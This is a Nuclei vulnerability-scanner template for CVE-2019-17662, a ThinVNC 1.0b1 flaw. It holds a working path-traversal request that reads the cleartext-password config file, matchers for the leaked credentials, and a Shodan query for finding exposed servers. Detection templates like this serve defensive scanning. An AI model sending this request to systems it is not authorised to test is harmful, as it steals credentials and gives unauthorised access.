nuclei-templates/http/cves/2019/CVE-2019-17662.yaml

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id: CVE-2019-17662
info:
name: ThinVNC 1.0b1 - Authentication Bypass
author: DhiyaneshDK
severity: critical
description: |
ThinVNC 1.0b1 is vulnerable to arbitrary file read, which leads to a compromise of the VNC server. The vulnerability exists even when authentication is turned on during the deployment of the VNC server. The password for authentication is stored in cleartext in a file that can be read via a ../../ThinVnc.ini directory traversal attack vector.
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impact: |
An attacker can bypass authentication and gain unauthorized access to the ThinVNC application.
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remediation: |
Upgrade to a patched version of ThinVNC or implement additional authentication mechanisms.
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reference:
- http://packetstormsecurity.com/files/154896/ThinVNC-1.0b1-Authentication-Bypass.html
- https://github.com/bewest/thinvnc/issues/5
- https://redteamzone.com/ThinVNC/
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- https://github.com/shashankmangal2/Exploits/blob/master/ThinVNC-RemoteAccess/POC.py
- https://github.com/YIXINSHUWU/Penetration_Testing_POC
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classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
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cve-id: CVE-2019-17662
cwe-id: CWE-22
epss-score: 0.68973
epss-percentile: 0.97707
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cpe: cpe:2.3:a:cybelsoft:thinvnc:1.0:b1:*:*:*:*:*:*
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metadata:
verified: true
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max-request: 1
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vendor: cybelsoft
product: thinvnc
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shodan-query: http.favicon.hash:-1414548363
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tags: cve,cve2019,packetstorm,auth-bypass,thinvnc,intrusive,cybelsoft
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http:
- raw:
- |
GET /{{randstr}}/../../ThinVnc.ini HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "User="
- "Password="
condition: and
- type: word
part: header
words:
- "application/binary"
- type: status
status:
- 200
# digest: 4b0a00483046022100a2d2bfd77c6df251e51f2a32a67da9013eb27be31b3497fdffbe27b4b9f86c91022100f32abcda610d82eba43442f13bdbc2e0eca61d37d67d25a971ba1faf54ca3218:922c64590222798bb761d5b6d8e72950